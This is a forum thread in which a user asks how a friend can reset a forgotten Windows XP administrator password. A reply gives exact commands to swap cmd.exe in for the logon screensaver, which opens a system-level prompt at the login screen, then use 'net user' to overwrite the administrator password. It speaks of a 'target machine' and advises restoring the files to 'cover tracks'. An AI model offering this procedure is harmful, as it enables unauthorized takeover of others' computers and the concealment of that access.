Re: administrative password, resetting?

well, I am not there, and not so sure he can follow those instructions.
Someone posted a website to do it in an easier process.
I think it was for windows2000, but alwo worked in xp.


"crime prevention" <crime999@xxxxxxxxxxxxxxxxxxxxxxxx> wrote in message
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you could try this

If you log into a limited account on your target machine and open up a dos
prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command
program
and the screen saver file, then edits the settings so when the machine
boots the
screen saver you will get an unprotected dos prompt with out logging into
XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password
blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32
dir to cover tracks


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"Bruce" <notreally@xxxxxxxxxxxxxxx> wrote in message
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Have a friend, can't log on to his admin acct. I read in a previous post
somewhere of a program that can reset it or clear it out? I believe he
has windows xp home edition.
Or is there a way some how to reset or delete the password?

He has tried every combination he can think of but no luck. His next
option is cleaning the hd or getting a new hd?
thanks Bruce





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